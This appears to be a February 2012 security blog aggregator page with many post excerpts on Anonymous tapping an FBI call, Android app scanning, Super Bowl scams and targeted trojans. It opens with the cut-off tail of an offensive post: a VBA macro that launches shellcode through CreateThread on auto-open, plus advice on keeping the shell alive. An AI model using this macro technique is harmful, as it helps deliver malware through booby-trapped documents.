        Lezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0)
End Sub
Sub AutoOpen()
        Auto_Open
End Sub
Sub Workbook_Open()
        Auto_Open
End Sub

The important thing to remember is that with this method you'll NOT be dropping a vbs or bin and you'll be running inside of excel/word/whatever so you need to make sure you set up an autorunscript or macro to migrate out of the process else you'll be losing the shell as soon as they exit the office application.

Anonymous Hacks FBI, Scotland Yard Conference Call — Red Faces All Around

Latest blog entries — Fri, 03 Feb 2012 21:40:58 +0000

Anonymous has struck again in one of its most outrageous and daring hacks ever -- the loose-knit group of worldwide hackers became participants in a cross-country, cross-Atlantic conference call between branches of the FBI and Scotland Yard.

Start at the beginning!

Rashmi Knowles — Fri, 03 Feb 2012 21:14:44 +0000

RSA recently published the SBIC report entitled ‘Getting Ahead of Advanced Threats’ a copy of which can be found here; Security for Business Innovation Council report. It introduces the concept of Intelligence Driven Security as ‘Developing real-time knowledge on threats and the organizations posture against those threats in order to prevent, detect, and/or predict attacks, make risk decisions, optimize defensive strategies and enable actions’.

DLP lesson: Embarrassing: Anonymous tapes FBI – Scotland Yard Conference Call

Sven Olensky — Fri, 03 Feb 2012 20:14:02 +0000

Many outlets, amongst them the Wall Street Journal report today that the Anonymous hacker group ‘intercepted’ a conference call held by the FBI and Scotland Yard.

They report,

WASHINGTON—The Federal Bureau of Investigation said cybercriminals hacked into a cybercrime conference call between its agents and law enforcement officials overseas.

[...]The FBI said the breach wasn’t made on the agency’s secure email or other computer systems. Instead it appeared to be result of a law enforcement officer overseas who was invited to be on the FBI call and who forwarded the information to his private email account, which was compromised by hackers.

So, the meeting invite was in an email, containing conference call number and access code, and it was sent to a private email account outside of the agency networks.

Lesson: don’t forward internal/sensitive/not-for-the-public-eye-classified information outside of your company/agency/internal network. This is a classic case of DLP – Data Loss Prevention.

The Patchwork Cloud – baby steps, an overview

Wh1t3Rabbit — Fri, 03 Feb 2012 20:01:23 +0000

Working my way back into cloud I'd like to start a series called "The Patchwork Cloud" taking a realistic focus on the use-cases of cloud computing in today's technology and business environments. Over the course of this series I'll highlight many of the challenges and opportunities [both business and technical] that cloud computing presents us with to maximize your benefit and minimize your frustration.

World of Tomorrow…

Marc Handelman — Fri, 03 Feb 2012 20:00:22 +0000

Cunningly envisioned by Corning

Get Ready to Play Some Cyber Wargames

Michael Vizard — Fri, 03 Feb 2012 19:48:00 +0000

FBI Director Robert Mueller told the U.S. House Permanent Select Committee on Intelligence this week that cyberthreats will equal or surpass the threat from counterterrorism in the relatively near future.

Google responds to Android app Market security with stronger scanning measures

Cameron Camp — Fri, 03 Feb 2012 19:44:31 +0000

In response to recent reports that malicious apps may have made their way into the official Android Market, Google has responded by announcing a new program to more proactively scan the Market and developer accounts for seemingly malicious apps and highlights and/or remove them before users experience trouble.

Traditionally, the barriers of entry for developers in the Android ecosystem have been low to get their apps placed in the official Market. This was by design, allowing Android to sprint past other smartphone platforms in adoption rates, since many apps that users wanted were likely to be there before they hit other platforms. The downside is that app authors choosing to bundle malicious, or borderline malicious apps had an easier time with distribution.

By contrast, the iPhone ecosystem represented a more closed, vetted, and more expensive environment for developers to launch their apps. This resulted in steady growth, but the more rigid process of an app making it to their official App Store deterred the more unsavory app developers from spending the extra effort to circumvent controls. In short, it was easier to spread bad things, or borderline bad things on the Android smartphones.

The new effort, called Bouncer, aims to silently scan the marketplace for rogue and borderline apps, largely transparently to the user. When a new app upload is attempted by the developer, Bouncer will do a preliminary scan to determine whether it acts malicious, or borderline.

Hiroshi Lockheimer, VP of Engineering, Android, explains in his blog on the subject that the effort “provides automated scanning of Android Market for potentially malicious software without disrupting the user experience of Android Market or requiring developers to go through an application approval process.”

Bouncer aims to run each app in a simulated cloud-base environment to watch for malicious activity. It will also scan for changes in existing apps. If it detects an app has changed, it will red flag it for scanning, keeping existing apps (hopefully) more malware-free. Additionally, developers exhibiting a pattern publishing malicious apps may be blacklisted. Is it working? In the second half of 2011, Mr. Lockheimer says “we saw a 40% decrease in the number of potentially-malicious downloads from Android Market,” so progress seems positive.

With an estimated 11 million apps available for Android, and a year-over-year growth rate of 250% according to Mr. Lockheimer, there’s a lot of scanning to be done. But this also speaks toward the success and ubiquity of the platform, and perceived value to users. In that department, Android has done quite well indeed.

Google Bouncer Purports to Stop Malware on Android Devices

Wayne Rash — Fri, 03 Feb 2012 19:30:00 +0000

Now that Google revealed it’s been using something called the “Bouncer” to scan apps for malware before they’re placed into the Android Market, users shouldn’t have to worry about getting malware delivered to their phones. Maybe. But while it’s probably a safe bet that new apps in the Market are safe, don't assume your Android device is safe.

Super Sunday means Super Scams

Deborah Salmi — Fri, 03 Feb 2012 19:29:49 +0000

The Super Bowl, the much-hyped championship American pro football game, will be broadcast this Sunday night to an estimated 200 million people. Any major sporting event from the Australian Open to the World Cup brings out scammers hoping to cash in on the excitement. The most popular ways to separate you from your money are by peddling knock-off team jerseys, counterfeit memorabilia, and fake game tickets.

This past year, Homeland Security officials and officers from U.S. Customs and Border Protection conducted a national sweep of stores, flea markets and street vendors looking for counterfeit goods. Operation Fake Sweep collected $4.8 million worth of counterfeit jerseys, ball caps, and T-shirts. Ahead of this weekend’s Super Bowl, authorities said they seized nearly 42,000 phony Super Bowl sportswear items and merchandise worth $5 million. Fake jerseys can be bought for about $80 each. But according to nflshop.com, authentic jerseys cost between $150 and $300.

The Better Business Bureau (BBB) warns about buying counterfeit team merchandise and tickets online. They have found fake websites that appear to sell merchandise but are fronts for collecting credit card numbers and personal information which could lead to identity theft or drained bank accounts. The best way to ensure that you get official sports gear is to buy directly from the team or league websites, or from official vendors at the stadium.

The BBB also warns that buying tickets online can be a rip-off. Thousands of Super Bowl tickets are currently listed on craigslist, but the site offers no guarantees of any kind and does not require identification of its listers. Buying in person isn’t always an improvement, since scammers can fake tickets.

The Department of Transportation (DOT) is warning consumers about the possibility of Super Bowl tour package scams – specifically, scams that appear to promise game tickets, but fail to produce. DOT cautions travelers that if a game ticket is not specifically mentioned in advertisements or other solicitation material or listed as a tour feature, the ticket is probably not included. Fans should carefully review travel packages advertised online and make sure tickets and accommodations are fully guaranteed.

In general, avoid scams by being skeptical of:

Offers that sound “too good to be true”
Pushy sales tactics
Poor quality of merchandise
Offers that require wire transfer of funds

A good way to gauge the trustworthiness of any website is to take a look at the avast! WebRep rating. The rating icon in located beside the address bar in your browser. Click on it to see the overall rating and to add your own rating.

What We’re Reading, Week of 1/30

VPN Haus — Fri, 03 Feb 2012 19:00:35 +0000

Ars Technica, World IPv6 Launch: This Time It’s For Real
SearchEnterpriseWAN, Remote access problems: BYOD muddies the water evolving with consumerization
Healthcare Info Security, Healthcare Breaches: Behind the Numbers
PC World, VeriSign Hacked: What We Don’t Know Might Hurt Us

JS.Alescurf Trojan

Kellep A. Charles, CISA, CISSP, NSA-IAM — Fri, 03 Feb 2012 18:24:00 +0000

JS.Alescurf Trojan

Security vendors can no longer ignore patch management

Latest articles from SC Magazine The SC Magazine Awards Blog — Fri, 03 Feb 2012 18:18:35 +0000

While AV software derails a lot of potentially harmful attacks, it is only one component of a comprehensive security solution.

JS.Alescurf Trojan

SecurityOrb Staff — Fri, 03 Feb 2012 18:17:06 +0000

Systems Affected: Windows 98, Windows 95, Windows XP, Solaris, Windows Me, Windows Vista, Windows NT, Windows Server 2003, Linux, Windows 2000 JS.Alescurf is a detection for malicious code that can be injected in to vulnerable Internet Web pages.

Fair-weather Facebook Friends

David Harley — Fri, 03 Feb 2012 18:13:19 +0000

Next week I’m talking to a gathering of senior policemen et al about PC support scams and, among other things, how those unpleasant “you need to pay us to clean your viruses” phone calls are bolstered by flaky Facebook pages with screenfuls of recommendations and testimonials.

This article by Kelly Jackson Higgins is very much to the same point - How To Spot A Fake Facebook Profile - though it’s likely to be useful in many other contexts, not just support scams. (More about support scams later, soon, though.)

It’s based on research by Barracuda Networks, by the way, as discussed at the Kaspersky Lab Security Analyst Summit 2012, which is apparently happening now.

David Harley CITP FBCS CISSP
Small Blue-Green World/AVIEN
ESET Senior Research Fellow

Herding Cats: No Bubble People (February 2012)

Branden Williams — Fri, 03 Feb 2012 18:03:14 +0000

kitten, by Clevergrrl

Have you checked out ISSA Connect yet? The next issue is up there with my column, No Bubble People.

We must assume malware will end up in our network. Unless we treat our users like the Boy in the Bubble, they will click things and infect themselves—many times without even realizing it. This month’s column discusses the war we face understanding that we cannot fight or even win every battle.

If you are a member, log into ISSA Connect and join the discussion! Interact with great professionals globally as well as the authors that you enjoy reading every month. If you are not a member, sign up today!

Possibly Related Posts:

Security & Health Care Startups

Michael Coates — Fri, 03 Feb 2012 17:44:00 +0000

Two weeks ago I had the opportunity to speak at Rockhealth's Health Innovation Summit held here in San Francisco. This was a great conference that brought together many developers and health care tech startups that are looking to revolutionize the way health care is managed throughout the US and the world.

I led an application security workshop where participants where able to setup a virtual testing environment on their laptop and understand critical web application security vulnerabilities through hands-on hacking exercises. We covered topics such as cross site scripting, access control, cross site request forgery and sql injection. We had a few minutes left over and even jumped into clickjacking too.

The lab used the OWASP BWA virtual machine and we focused on the OWASP Webgoat security learning software. My slides are currently built with screenshots using burp proxy, but I'll be updating those soon to switch over to OWASP ZAP Proxy.

The event was fantastic and there was a lot of positive feedback and great questions during and after the workshop. I'm working with representatives from rock health to identify other ways that OWASP can continue to participate in their developer meetings in the future.

Slides and instructions for setting up the lab are online here.

-Michael Coates - @_mwc

Facebook and the Rumour Mill

David Harley — Fri, 03 Feb 2012 17:38:25 +0000

I’ve been saying for quite a while that Facebook has become the natural home of the kind of hoax and semi-hoax deluges that used to make email such a trial from time to time. But most of the attention tends to be focused on the more obviously malicious stuff like survey scams, likejacking, koobface-type worms and so on.

Clearly, Craig from ThatsNonsense.com also thinks that hoaxes are a significant nuisance and worse, judging from a very-much-to-the-point article he’s contributed to Facecrooks.

While his arguments to the effect that there is no such thing as a harmless hoax won’t be particularly new to old-school hoaxwatchers, their application in the particular context of Facebook (though they’ll apply to other social networks too, of course) is right on the button.

Talking of a hoax that’s clearly doing harm, Facecrooks.com has teamed up with ThatsNonsense.com, Hoax-Slayer, The BULLDOG Estate and Privacy and Security Guide to try to reduce the impact of those unpleasant chain messages that try to persuade you to forward them by convincing you that if you do, the children whose photographs they use will benefit from medical treatment.

No-one is making treatment of sick children conditional on the posting of chain-messages. And the unauthorized misuse of the photos of real sick children is obviously hurtful to their parents.

David Harley CITP FBCS CISSP
Small Blue-Green World/AVIEN/Mac Virus
ESET Senior Research Fellow

Windows Update Trojan Hits Government Contractors

judykavuo — Fri, 03 Feb 2012 17:30:53 +0000

Here’s something that most of us around DC have to worry about … either directly or indirectly through our enterprise users. First it was a spiked PDF document disguised as a CFP. A few days later it was a list of conference attendees in a booby-trapped ZIP file. Now it’s back to malicious PDF files that install a Trojan that mimics Windows Update. Seculert and Zscaler describes this most recent threat in their “The MSUpdater Trojan and Ongoing Targeted Attacks” report they released a few days ago. The paper describes how attackers continue to target government contractors with the goal of stealing sensitive information using complex and difficult to detect Trojans that gain backdoor access to systems. Ah … the fight goes on.

via myce.com

A joint report was just released that details attacks that have been targeted at government contractors since 2009. The attacks involve phishing emails under the guise of inviting people to conferences.

The report by Seculert and Zscaler, details that the phishing emails contain PDFs that when opened exploit Adobe Reader flaws. These files then install an “MSUpdater” trojan, which does a very good job of posing as a legitimate Windows Update process. What really happens is that the trojan provides backdoor access into the network, giving the attackers unfettered access to very sensitive files, for as long as the trojan remains active.

The report states, “Foreign and domestic (United States) companies with intellectual property dealing in aero/geospace and defense seem to be some of the recent industries targeted in these attacks.” The report does not detail exactly which companies have been involved.

Continued here.

#####

Please let us know what you think. What controls could the government use to mitigate this threat? Today’s post image is from MyAntiSpyware.com.

Information Security Events For February

sheila — Fri, 03 Feb 2012 17:17:34 +0000

Here are information security events in North America this month:

NDSS Symposium 2012 : February 5 to 8 in San Diego, California USA

ACM Conference on Data and Application Security and Privacy (CODASPY) : February 8 to 12 in San Antonio, TX USA

DOJ Cyber Security Conference : February 8 to 9 in Washington, D.C. USA

The Anti-Conference: Suits & Spooks II – Shaping a Revolution in Security Affairs : February 8 in Rosslyn, VA USA

SANS Phoenix : February 13 to 18 in Phoenix, AZ USA

BSidesPHX 2012 : February 18 in Tempe, Arizona USA

RSA Conference 2012 : February 27 to March 2 in San Francisco, California USA

BSides San Francisco 2012 : February 27 to 28 in San Francisco, CA USA

Metricon : February 27 in San Francisco, Ca USA

And here are the information security events in the other parts of the world:

Kaspersky Lab Threatpost Security Analyst Summit 2012 – 2012 : February 1 to February 5 in Cancun, Mexico

NullCon : February 15 to 18 in Goa, India

HITBGSEC 2012 : February 20 to 23 in Mumbai, India

FBI Conference Call Tapped By Antisec

Dave Lewis — Fri, 03 Feb 2012 16:52:49 +0000

Oops. Apparently, an FBI conference call was tapped by Antisec and they managed to listen in on a discussion between the FBI and their UK counterparts.

The call was posted to YouTube:

I wasn’t sure if this was authentic but, I have to admit if I was a betting man I would have said yes. And, sure enough the FBI stated as much today.

From The Washington Post:

The FBI said the information “was intended for law enforcement officers only and was illegally obtained.”

“A criminal investigation is under way to identify and hold accountable those responsible,” the bureau said in a statement.

It’s not clear how the hackers got their hands on the recording, which appears to have been edited to bleep out the names of some of the suspects being discussed.

Rather interesting to hear their side of things even if it is as a fly on the wall.

Source: Article Link

(Image used under CC from Wilheln)

Hack Naked TV Episode 26

PaulDotCom — Fri, 03 Feb 2012 16:52:48 +0000

In this episode we talk about Symantec. We introduce a very cool SpearPhishing tool (which is free), the VeriSign attack and we discuss RFID implications and microwave cooking directions for credit cards.

Links for this Episode:

New SpearPhising tool

VeriSign Hack

RFID and Credit Cards.

Offensive Countermeasures in Orlando!

Video Feeds:

Get The Most of Your Monitoring/Security Tools!

Xavier — Fri, 03 Feb 2012 16:33:08 +0000

The idea of this article popped in my mind after a colleague of mine asked me to investigate a security incident. Nothing brand new, a customer’s server not properly patched and secured was pwned. I found that the server was hit by the JBoss worm which started to spread in October 2010. Then the server started to scan for other victims, etc. Why was the server not patched and why it was able to access Internet directly, I don’t know. I won’t start a new debate here. I just would like to insist on the ways (read: tools) that can be used to detect such incident at the right time.

When I started my investigations, I had a limited number of data sources: The firewall logs and a network monitoring appliance. No log management solution and the server was turned off “to avoid more problems” (OMG!). The firewall logs gave me of course some relevant information but what about the network monitoring appliance? This is the same kind of appliance that I’m using during the BruCON conference to keep an eye on the visitors traffic. Very nice statistics can be generated. Basically, this appliance performs three tasks:

Collection of all network flows + statistics (like Netflow)
IDS (packets are analyzed via a built-in Snort)
Web categorization

My investigations continued on this appliance and, as you can imagine, I found a multitude of evidences:

Snort alerts (IRC traffic, id, wget, root alerts)
Unusual traffic from servers to the Internet
Suspicious web sites (domains & categories)

By having a look at the information reported by the appliance, the customer could at an early stage (even in real-time!) be alerted of the attack. But those features were simply… not used! The appliance was installed to monitor the network performances, that’s it! But it could do much more!

That’s an effect of the “Microsoft Syndrome“! What is this? I found a good definition on computerworld.com:

“There are several symptoms. One is when a tech company becomes so successful in a market and grows so quickly that it overlooks potential new markets. Another is when a tech company gets so large that it becomes increasingly difficult for it to innovate.“

From my point of view, I would like to extend this definition on the technical aspect of IT products:

“Another symptom is when a software becomes so complex that you only use a few percentage of its features and forgot or don’t know how to use the others.“

A typical example is Microsoft Word. I’m a Word user but, honestly, I must use 10% of all the features! Sometimes, I’m working on RFP which go very deep in the feature requirements and, finally, most of them will remain unused or unimplemented.

I think it’s time to remind the principle of “more with less“. Implementing security solutions is very expensive and budgets are often frozen or reduced. If you put some (lot of) bucks into a solution, be sure to use it at 100%! Read the manuals (you know, “RTFM!”), follow trainings, invest some time! Sometimes, cool features could be used for other purposes and increase the ROI! This reflexion goes in the same direction as one of my previous article about implementing security controls using Nagios.

Nitrozac and Snaggy: Fake Apple Projects

Marc Handelman — Fri, 03 Feb 2012 16:30:01 +0000

via the genius of Nitrozac and Snaggy at The Joy of Tech™

Security Bloggers Network

Best of the week – 5 febbraio 2012

Links for 2012-02-04 [del.icio.us]

Finding Evil: Automating Autoruns Analysis

DNS Changer infrastructure shutdown is a *good* thing

Sonicwall netExtender on ubuntu x64 missing libssl or libcrypto

Clarifying The Trustwave CA Policy Update

Blending in with the furniture – responsibility vs capability in the CISO role

Publish and/or perish

SSL for less than 7 Euros?! Yup…

Medeco Nexgen XT

Groundhogtistics

Federal Information Systems Security Educators’ Association Conference Slated

ATM skimmer installed in under 10 seconds

RT @teamcymru: Great progress in cooperation: European ‘cyber security’ Agenc…

RT @IEEE_SP2012: Spread the word about @IEEE_SP2012 – post this flyer (pdf) a…

Towards the Big Information Society or "Power to the people"

AVAST reaches 150 million active users

Kevin Mitnick & Dave Kennedy – Adaptive Penetration Testing Derbycon 2011

InfoSec Daily Podcast Episode 585

InfoSec Daily Podcast Episode 585

Security for a Greater Good

Encrypted? Check. Strong passphrase? Check. Mailing them together? Oops.

Koterba: Personal Library

Beacon Podcast – Episode 015

Dead BotNet Spams From Other Side

Death to PDF!

Direct Shellcode Execution via MS Office Macros with Metasploit

Anonymous Hacks FBI, Scotland Yard Conference Call — Red Faces All Around

Start at the beginning!

DLP lesson: Embarrassing: Anonymous tapes FBI – Scotland Yard Conference Call

The Patchwork Cloud – baby steps, an overview

World of Tomorrow…

Get Ready to Play Some Cyber Wargames

Google responds to Android app Market security with stronger scanning measures

Google Bouncer Purports to Stop Malware on Android Devices

Super Sunday means Super Scams

What We’re Reading, Week of 1/30

JS.Alescurf Trojan

Security vendors can no longer ignore patch management

JS.Alescurf Trojan

Fair-weather Facebook Friends

Herding Cats: No Bubble People (February 2012)

Security & Health Care Startups

Facebook and the Rumour Mill

Windows Update Trojan Hits Government Contractors

Information Security Events For February

FBI Conference Call Tapped By Antisec

Hack Naked TV Episode 26

Get The Most of Your Monitoring/Security Tools!

Nitrozac and Snaggy: Fake Apple Projects

DNS Changer infrastructure shutdown is a good thing